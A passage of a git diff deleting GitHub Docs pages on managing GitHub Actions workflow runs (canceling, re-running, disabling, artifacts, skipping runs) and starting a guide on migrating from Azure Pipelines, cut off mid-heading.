/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks ---- - -## About workflow runs from public forks - -{% data reusables.actions.workflow-run-approve-public-fork %} - -You can configure workflow approval requirements for a [repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks), [organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#configuring-required-approval-for-workflows-from-public-forks), or [enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise). - -Workflow runs that have been awaiting approval for more than 30 days are automatically deleted. - -## Approving workflow runs on a pull request from a public fork - -{% data reusables.actions.workflows.approve-workflow-runs %} diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/canceling-a-workflow.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/canceling-a-workflow.md deleted file mode 100644 index 3437dcee1a06..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/canceling-a-workflow.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Canceling a workflow -shortTitle: Cancel a workflow -intro: 'You can cancel a workflow run that is in progress. When you cancel a workflow run, {% data variables.product.prodname_dotcom %} cancels all jobs and steps that are a part of that workflow.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/managing-workflow-runs/canceling-a-workflow ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -{% data reusables.repositories.permissions-statement-write %} - -## Canceling a workflow run - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel. -1. In the upper-right corner of the workflow, click **Cancel workflow**. -![Screenshot showing the summary for a workflow that is currently running. The "Cancel workflow" button is highlighted with a dark orange outline.](/assets/images/help/repository/cancel-check-suite-updated.png) - -## Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run - -When canceling workflow run, you may be running other software that uses resources that are related to the workflow run. To help you free up resources related to the workflow run, it may help to understand the steps {% data variables.product.prodname_dotcom %} performs to cancel a workflow run. - -1. To cancel the workflow run, the server re-evaluates `if` conditions for all currently running jobs. If the condition evaluates to `true`, the job will not get canceled. For example, the condition `if: always()` would evaluate to true and the job continues to run. When there is no condition, that is the equivalent of the condition `if: success()`, which only runs if the previous step finished successfully. -1. For jobs that need to be canceled, the server sends a cancellation message to all the runner machines with jobs that need to be canceled. -1. For jobs that continue to run, the server re-evaluates `if` conditions for the unfinished steps. If the condition evaluates to `true`, the step continues to run. You can use the `cancelled` expression to apply a status check of `cancelled()`. For more information see [AUTOTITLE](/actions/learn-github-actions/expressions#cancelled). -1. For steps that need to be canceled, the runner machine sends `SIGINT/Ctrl-C` to the step's entry process (`node` for javascript action, `docker` for container action, and `bash/cmd/pwd` when using `run` in a step). If the process doesn't exit within 7500 ms, the runner will send `SIGTERM/Ctrl-Break` to the process, then wait for 2500 ms for the process to exit. If the process is still running, the runner kills the process tree. -1. After the 5 minutes cancellation timeout period, the server will force terminate all jobs and steps that don't finish running or fail to complete the cancellation process. diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/deleting-a-workflow-run.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/deleting-a-workflow-run.md deleted file mode 100644 index d718fb0f81b1..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/deleting-a-workflow-run.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Deleting a workflow run -shortTitle: Delete a workflow run -intro: 'You can delete a workflow run that has been completed, or is more than two weeks old.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/managing-workflow-runs/deleting-a-workflow-run ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -{% data reusables.repositories.permissions-statement-write %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -1. To delete a workflow run, select {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **Delete workflow run**. - - ![Screenshot of a list of workflow runs. To the right of a run, an icon of three horizontal dots is highlighted with an orange outline.](/assets/images/help/settings/workflow-delete-run.png) - -1. Review the confirmation prompt and click **Yes, permanently delete this workflow run**. diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/disabling-and-enabling-a-workflow.md deleted file mode 100644 index 346ce637c8ca..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/disabling-and-enabling-a-workflow.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Disabling and enabling a workflow -intro: 'You can disable and re-enable a workflow using the {% data variables.product.prodname_dotcom %} UI, the REST API, or {% data variables.product.prodname_cli %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Disable & enable a workflow -redirect_from: - - /actions/managing-workflow-runs/disabling-and-enabling-a-workflow - - /actions/using-workflows/disabling-and-enabling-a-workflow ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -Disabling a workflow allows you to stop a workflow from being triggered without having to delete the file from the repo. You can easily re-enable the workflow again on {% data variables.product.prodname_dotcom %}. - -Temporarily disabling a workflow can be useful in many scenarios. These are a few examples where disabling a workflow might be helpful: - -* A workflow error that produces too many or wrong requests, impacting external services negatively. -* A workflow that is not critical and is consuming too many minutes on your account. -* A workflow that sends requests to a service that is down. -* Workflows on a forked repository that aren't needed (for example, scheduled workflows). - -> [!WARNING] -> {% data reusables.actions.scheduled-workflows-disabled %} - -You can also disable and enable a workflow using the REST API. For more information, see [AUTOTITLE](/rest/actions/workflows). - -## Disabling a workflow - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -1. In the left sidebar, click the workflow you want to disable. -1. Click {% octicon "kebab-horizontal" aria-label="Show workflow options" %} to display a dropdown menu and click **Disable workflow**. - - ![Screenshot of a workflow. The "Show workflow options" button, shown with a kebab icon, and the "Disable workflow" menu item are outlined in orange.](/assets/images/help/repository/actions-disable-workflow-2022.png) - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To disable a workflow, use the `workflow disable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to disable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow. - -```shell -gh workflow disable WORKFLOW -``` - -{% endcli %} - -## Enabling a workflow - -{% webui %} - -You can re-enable a workflow that was previously disabled. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -1. In the left sidebar, click the workflow you want to enable. - - ![Screenshot of the "Actions" page. In the left sidebar, a workflow name is highlighted with an outline in dark orange.](/assets/images/help/repository/actions-select-disabled-workflow-2022.png) - -1. Click **Enable workflow**. - -{% endwebui %} - -{% cli %} - -To enable a workflow, use the `workflow enable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to enable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow. - -```shell -gh workflow enable WORKFLOW -``` - -{% endcli %} diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/downloading-workflow-artifacts.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/downloading-workflow-artifacts.md deleted file mode 100644 index f85df5110520..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/downloading-workflow-artifacts.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Downloading workflow artifacts -intro: You can download archived artifacts before they automatically expire. -permissions: 'People who are signed into {% data variables.product.github %} and have read access to a repository can download workflow artifacts.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Download workflow artifacts -redirect_from: - - /actions/managing-workflow-runs/downloading-workflow-artifacts ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -By default, {% data variables.product.github %} stores build logs and artifacts for 90 days, and you can customize this retention period, depending on the type of repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository). - -{% data reusables.repositories.permissions-statement-read %} - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. In the "Artifacts" section, click the artifact you want to download. - - ![Screenshot of the "Artifacts" section of a workflow run. The name of an artifact generated by the run, "artifact," is outlined in orange.](/assets/images/help/repository/artifact-drop-down-updated.png) - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -{% data variables.product.prodname_cli %} will download each artifact into separate directories based on the artifact name. If only a single artifact is specified, it will be extracted into the current directory. - -To download all artifacts generated by a workflow run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run. - -```shell -gh run download RUN_ID -``` - -To download a specific artifact from a run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. Replace `artifact-name` with the name of the artifact that you want to download. - -```shell -gh run download RUN_ID -n ARTIFACT_NAME -``` - -You can specify more than one artifact. - -```shell -gh run download RUN_ID> -n ARTIFACT_NAME-1 -n ARTIFACT_NAME-2 -``` - -To download specific artifacts across all runs in a repository, use the `run download` subcommand. - -```shell -gh run download -n ARTIFACT_NAME-1 ARTIFACT_NAME-2 -``` - -{% endcli %} diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/index.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/index.md deleted file mode 100644 index 4804327b0cca..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Managing workflow runs -shortTitle: Manage workflow runs -intro: 'You can manually interact with workflow runs to ensure they run effectively.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /manually-running-a-workflow - - /re-running-workflows-and-jobs - - /canceling-a-workflow - - /disabling-and-enabling-a-workflow - - /skipping-workflow-runs - - /deleting-a-workflow-run - - /downloading-workflow-artifacts - - /removing-workflow-artifacts - - /approving-workflow-runs-from-public-forks - - /approving-workflow-runs-from-private-forks ---- - diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/manually-running-a-workflow.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/manually-running-a-workflow.md deleted file mode 100644 index 9e50e485705d..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/manually-running-a-workflow.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Manually running a workflow -intro: 'When a workflow is configured to run on the `workflow_dispatch` event, you can run the workflow using the Actions tab on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_cli %}, or the REST API.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Manually run a workflow -redirect_from: - - /actions/managing-workflow-runs/manually-running-a-workflow - - /actions/using-workflows/manually-running-a-workflow ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Configuring a workflow to run manually - -To run a workflow manually, the workflow must be configured to run on the `workflow_dispatch` event. - -To trigger the `workflow_dispatch` event, your workflow must be in the default branch. For more information about configuring the `workflow_dispatch` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch). - -{% data reusables.repositories.permissions-statement-write %} - -## Running a workflow - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -1. In the left sidebar, click the name of the workflow you want to run. - - ![Screenshot of the "Actions" page. In the left sidebar, a workflow name is highlighted with an outline in dark orange.](/assets/images/help/repository/actions-select-workflow-2022.png) - -1. Above the list of workflow runs, click the **Run workflow** button. - - > [!NOTE] - > To see the **Run workflow** button, your workflow file must use the `workflow_dispatch` event trigger. Only workflow files that use the `workflow_dispatch` event trigger will have the option to run the workflow manually using the **Run workflow** button. For more information about configuring the `workflow_dispatch` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch). - - ![Screenshot of a workflow page. Above the list of workflow runs, a button, labeled "Run workflow", is outlined in dark orange.](/assets/images/help/actions/actions-workflow-dispatch.png) -1. Select the **Branch** dropdown menu and click a branch to run the workflow on. -1. If the workflow requires input, fill in the fields. -1. Click **Run workflow**. - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To run a workflow, use the `workflow run` subcommand. Replace the `workflow` parameter with either the name, ID, or file name of the workflow you want to run. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow. - -```shell -gh workflow run WORKFLOW -``` - -If your workflow accepts inputs, {% data variables.product.prodname_cli %} will prompt you to enter them. Alternatively, you can use `-f` or `-F` to add an input in `key=value` format. Use `-F` to read from a file. - -```shell -gh workflow run greet.yml -f name=mona -f greeting=hello -F data=@myfile.txt -``` - -You can also pass inputs as JSON by using standard input. - -```shell -echo '{"name":"mona", "greeting":"hello"}' | gh workflow run greet.yml --json -``` - -To run a workflow on a branch other than the repository's default branch, use the `--ref` flag. - -```shell -gh workflow run WORKFLOW --ref BRANCH -``` - -To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list. - -```shell -gh run watch -``` - -{% endcli %} - -## Running a workflow using the REST API - -When using the REST API, you configure the `inputs` and `ref` as request body parameters. If the inputs are omitted, the default values defined in the workflow file are used. - -> [!NOTE] -> You can define up to 10 `inputs` for a `workflow_dispatch` event. - -For more information about using the REST API, see [AUTOTITLE](/rest/actions/workflows#create-a-workflow-dispatch-event). diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/re-running-workflows-and-jobs.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/re-running-workflows-and-jobs.md deleted file mode 100644 index 26865a478f4e..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/re-running-workflows-and-jobs.md +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Re-running workflows and jobs -shortTitle: Re-run workflows and jobs -intro: 'You can re-run a workflow run, all failed jobs in a workflow run, or specific jobs in a workflow run up to 30 days after its initial run.' -permissions: People with write permissions to a repository can re-run workflows in the repository. -redirect_from: - - /actions/managing-workflow-runs/re-running-a-workflow - - /actions/managing-workflow-runs/re-running-workflows-and-jobs -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About re-running workflows and jobs - -Re-running a workflow or jobs in a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. The workflow will use the privileges of the actor who initially triggered the workflow, not the privileges of the actor who initiated the re-run. You can re-run a workflow or jobs in a workflow for up to 30 days after the initial run. You cannot re-run jobs in a workflow once its logs have passed their retention limits. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration#artifact-and-log-retention-policy). When you re-run a workflow or jobs in a workflow, you can enable debug logging for the re-run. This will enable runner diagnostic logging and step debug logging for the re-run. For more information about debug logging, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging) - -## Re-running all the jobs in a workflow - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. In the upper-right corner of the workflow, re-run jobs. - - * If any jobs failed, select the **{% octicon "sync" aria-hidden="true" %} Re-run jobs** dropdown menu and click **Re-run all jobs**. - - * If no jobs failed, click **Re-run all jobs**. - -{% data reusables.actions.enable-debug-logging %} - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To re-run a failed workflow run, use the `run rerun` subcommand. Replace `run-id` with the ID of the failed run that you want to re-run. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run. - -```shell -gh run rerun RUN_ID -``` - -{% data reusables.actions.enable-debug-logging-cli %} - -```shell -gh run rerun RUN_ID --debug -``` - -To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list. - -```shell -gh run watch -``` - -{% endcli %} - -## Re-running failed jobs in a workflow - -If any jobs in a workflow run failed, you can re-run just the jobs that failed. When you re-run failed jobs in a workflow, a new workflow run will start for all failed jobs and their dependents. Any outputs for any successful jobs in the previous workflow run will be used for the re-run. Any artifacts that were created in the initial run will be available in the re-run. Any deployment protection rules that passed in the previous run will automatically pass in the re-run. - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. In the upper-right corner of the workflow, select the **{% octicon "sync" aria-hidden="true" %} Re-run jobs** dropdown menu, and click **Re-run failed jobs**. -{% data reusables.actions.enable-debug-logging %} - -{% endwebui %} - -{% cli %} - -To re-run failed jobs in a workflow run, use the `run rerun` subcommand with the `--failed` flag. Replace `run-id` with the ID of the run for which you want to re-run failed jobs. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run. - -```shell -gh run rerun RUN_ID --failed -``` - -{% data reusables.actions.enable-debug-logging-cli %} - -```shell -gh run rerun RUN_ID --failed --debug -``` - -{% endcli %} - -## Re-running a specific job in a workflow - -When you re-run a specific job in a workflow, a new workflow run will start for the job and any dependents. Any outputs for any other jobs in the previous workflow run will be used for the re-run. Any artifacts that were created in the initial run will be available in the re-run. Any deployment protection rules that passed in the previous run will automatically pass in the re-run. - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. Under the "Jobs" section of the left sidebar, next to the job that you want to re-run, click {% octicon "sync" aria-label="The re-run icon" %}. - -{% data reusables.actions.enable-debug-logging %} - -{% endwebui %} - -{% cli %} - -To re-run a specific job in a workflow run, use the `run rerun` subcommand with the `--job` flag. Replace `job-id` with the ID of the job that you want to re-run. - -```shell -gh run rerun --job JOB_ID -``` - -{% data reusables.actions.enable-debug-logging-cli %} - -```shell -gh run rerun --job JOB_ID --debug -``` - -{% endcli %} - -## Re-running workflows and jobs with reusable workflows - -{% data reusables.actions.partial-reruns-with-reusable %} - -## Reviewing previous workflow runs - -You can view the results from your previous attempts at running a workflow. You can also view previous workflow runs using the API. For more information, see [AUTOTITLE](/rest/actions/workflow-runs#get-a-workflow-run). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. To the right of the run name, select the **Latest** dropdown menu and click a previous run attempt. diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/removing-workflow-artifacts.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/removing-workflow-artifacts.md deleted file mode 100644 index 9add4cef0404..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/removing-workflow-artifacts.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Removing workflow artifacts -intro: 'You can reclaim used {% data variables.product.prodname_actions %} storage by deleting artifacts before they expire on {% data variables.product.github %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Remove workflow artifacts -redirect_from: - - /actions/managing-workflow-runs/removing-workflow-artifacts ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Deleting an artifact - -> [!WARNING] -> Once you delete an artifact, it cannot be restored. - -{% data reusables.repositories.permissions-statement-write %} - -{% data reusables.actions.artifact-log-retention-statement %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. Under **Artifacts**, click {% octicon "trash" aria-label="Remove artifact ARTIFACT-NAME" %} next to the artifact you want to remove. - - ![Screenshot showing artifacts created during a workflow run. A trash can icon, used to remove an artifact, is outlined in dark orange.](/assets/images/help/repository/actions-delete-artifact-updated.png) - -## Setting the retention period for an artifact - -Retention periods for artifacts and logs can be configured at the repository, organization, and enterprise level. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration#artifact-and-log-retention-policy). - -You can also define a custom retention period for individual artifacts using the `actions/upload-artifact` action in a workflow. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period). - -## Finding the expiration date of an artifact - -You can use the API to confirm the date that an artifact is scheduled to be deleted. For more information, see the `expires_at` value returned by the REST API. For more information, see [AUTOTITLE](/rest/actions/artifacts). - -{% data reusables.actions.artifacts.artifacts-from-deleted-workflow-runs %} diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/skipping-workflow-runs.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/skipping-workflow-runs.md deleted file mode 100644 index ea3c30b9e5d4..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/skipping-workflow-runs.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Skipping workflow runs -intro: You can skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Skip workflow runs -redirect_from: - - /actions/managing-workflow-runs/skipping-workflow-runs ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -> [!NOTE] -> If a workflow is skipped due to [path filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), [branch filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) or a commit message (see below), then checks associated with that workflow will remain in a "Pending" state. A pull request that requires those checks to be successful will be blocked from merging. - -Workflows that would otherwise be triggered using `on: push` or `on: pull_request` won't be triggered if you add any of the following strings to the commit message in a push, or the HEAD commit of a pull request: - -* `[skip ci]` -* `[ci skip]` -* `[no ci]` -* `[skip actions]` -* `[actions skip]` - -Alternatively, you can add a `skip-checks` trailer to your commit message. The trailers section should be included at the end of your commit message and be preceded by two empty lines. If you already have other trailers in your commit message, `skip-checks` should be last. You can use either of the following: -* `skip-checks:true` -* `skip-checks: true` - -{% data reusables.commits.about-commit-cleanup %} - -You won't be able to merge the pull request if your repository is configured to require specific checks to pass first. To allow the pull request to be merged you can push a new commit to the pull request without the skip instruction in the commit message. - -> [!NOTE] -> Skip instructions only apply to the `push` and `pull_request` events. For example, adding `[skip ci]` to a commit message won't stop a workflow that's triggered `on: pull_request_target` from running. - -Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow). diff --git a/content/actions/migrating-to-github-actions/index.md b/content/actions/migrating-to-github-actions/index.md deleted file mode 100644 index 8bb45276cb35..000000000000 --- a/content/actions/migrating-to-github-actions/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Migrating to GitHub Actions -shortTitle: Migrate to GitHub Actions -intro: 'Learn how to migrate your existing CI/CD workflows to {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /articles/migrating-github-actions-from-hcl-syntax-to-yaml-syntax -children: - - /using-github-actions-importer-to-automate-migrations - - /manually-migrating-to-github-actions ---- - diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/index.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/index.md deleted file mode 100644 index c85471eed867..000000000000 --- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Manually migrating to GitHub Actions -shortTitle: Manual migrations -intro: 'Learn how to manually migrate your existing CI/CD workflows to {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /migrating-from-azure-pipelines-to-github-actions - - /migrating-from-circleci-to-github-actions - - /migrating-from-gitlab-cicd-to-github-actions - - /migrating-from-jenkins-to-github-actions - - /migrating-from-travis-ci-to-github-actions -redirect_from: - - /actions/migrating-to-github-actions/manual-migrations ---- - diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md deleted file mode 100644 index 93799bd44a97..000000000000 --- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md +++ /dev/null @@ -1,296 +0,0 @@ ---- -title: Migrating from Azure Pipelines to GitHub Actions -intro: '{% data variables.product.prodname_actions %} and Azure Pipelines share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.' -redirect_from: - - /actions/learn-github-actions/migrating-from-azure-pipelines-to-github-actions - - /actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions - - /actions/migrating-to-github-actions/manual-migrations/migrating-from-azure-pipelines-to-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Azure Pipelines - - Migration - - CI - - CD -shortTitle: Migrate from Azure Pipelines ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -Azure Pipelines and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Azure Pipelines and {% data variables.product.prodname_actions %} share some similarities in workflow configuration: - -* Workflow configuration files are written in YAML and are stored in the code's repository. -* Workflows include one or more jobs. -* Jobs include one or more steps or individual commands. -* Steps or tasks can be reused and shared with the community. - -For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -## Key differences - -When migrating from Azure Pipelines, consider the following differences: - -* Azure Pipelines supports a legacy _classic editor_, which lets you define your CI configuration in a GUI editor instead of creating the pipeline definition in a YAML file. {% data variables.product.prodname_actions %} uses YAML files to define workflows and does not support a graphical editor. -* Azure Pipelines allows you to omit some structure in job definitions. For example, if you only have a single job, you don't need to define the job and only need to define its steps. {% data variables.product.prodname_actions %} requires explicit configuration, and YAML structure cannot be omitted. -* Azure Pipelines supports _stages_ defined in the YAML file, which can be used to create deployment workflows. {% data variables.product.prodname_actions %} requires you to separate stages into separate YAML workflow files. -* On-premises Azure Pipelines build agents can be selected with capabilities. {% data variables.product.prodname_actions %} self-hosted runners can be selected with labels. - -## Migrating jobs and steps - -Jobs and steps in Azure Pipelines are very similar to jobs and steps in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics: - -* Jobs contain a series of steps that run sequentially. -* Jobs run on separate virtual machines or in separate containers. -* Jobs run in parallel by default, but can be configured to run sequentially. - -## Migrating script steps - -You can run a script or a shell command as a step in a workflow. In Azure Pipelines, script steps can be specified using the `script` key, or with the `bash`, `powershell`, or `pwsh` keys. Scripts can also be specified as an input to the [Bash task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops) or the [PowerShell task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops). - -In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key. To select a particular shell, you can specify the `shell` key when providing the script. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun). - -Below is an example of the syntax for each system. - -### Azure Pipelines syntax for script steps - -{% raw %} - -```yaml -jobs: - - job: scripts - pool: - vmImage: 'windows-latest' - steps: - - script: echo "This step runs in the default shell" - - bash: echo "This step runs in bash" - - pwsh: Write-Host "This step runs in PowerShell Core" - - task: PowerShell@2 - inputs: - script: Write-Host "This step runs in PowerShell" -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for script steps - -{% raw %} - -```yaml -jobs: - scripts: - runs-on: windows-latest - steps: - - run: echo "This step runs in the default shell" - - run: echo "This step runs in bash" - shell: bash - - run: Write-Host "This step runs in PowerShell Core" - shell: pwsh - - run: Write-Host "This step runs in PowerShell" - shell: powershell -``` - -{% endraw %} - -## Differences in script error handling - -In Azure Pipelines, scripts can be configured to error if any output is sent to `stderr`. {% data variables.product.prodname_actions %} does not support this configuration. - -{% data variables.product.prodname_actions %} configures shells to "fail fast" whenever possible, which stops the script immediately if one of the commands in a script exits with an error code. In contrast, Azure Pipelines requires explicit configuration to exit immediately on an error. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference). - -## Differences in the default shell on Windows - -In Azure Pipelines, the default shell for scripts on Windows platforms is the Command shell (_cmd.exe_). In {% data variables.product.prodname_actions %}, the default shell for scripts on Windows platforms is PowerShell. PowerShell has several differences in built-in commands, variable expansion, and flow control. - -If you're running a simple command, you might be able to run a Command shell script in PowerShell without any changes. But in most cases, you will either need to update your script with PowerShell syntax or instruct {% data variables.product.prodname_actions %} to run the script with the Command shell instead of PowerShell. You can do this by specifying `shell` as `cmd`. - -Below is an example of the syntax for each system. - -### Azure Pipelines syntax using CMD by default - -{% raw %} - -```yaml -jobs: - - job: run_command - pool: - vmImage: 'windows-latest' - steps: - - script: echo "This step runs in CMD on Windows by default" -``` - -{% endraw %} - -### {% data variables.product.prodname_actions 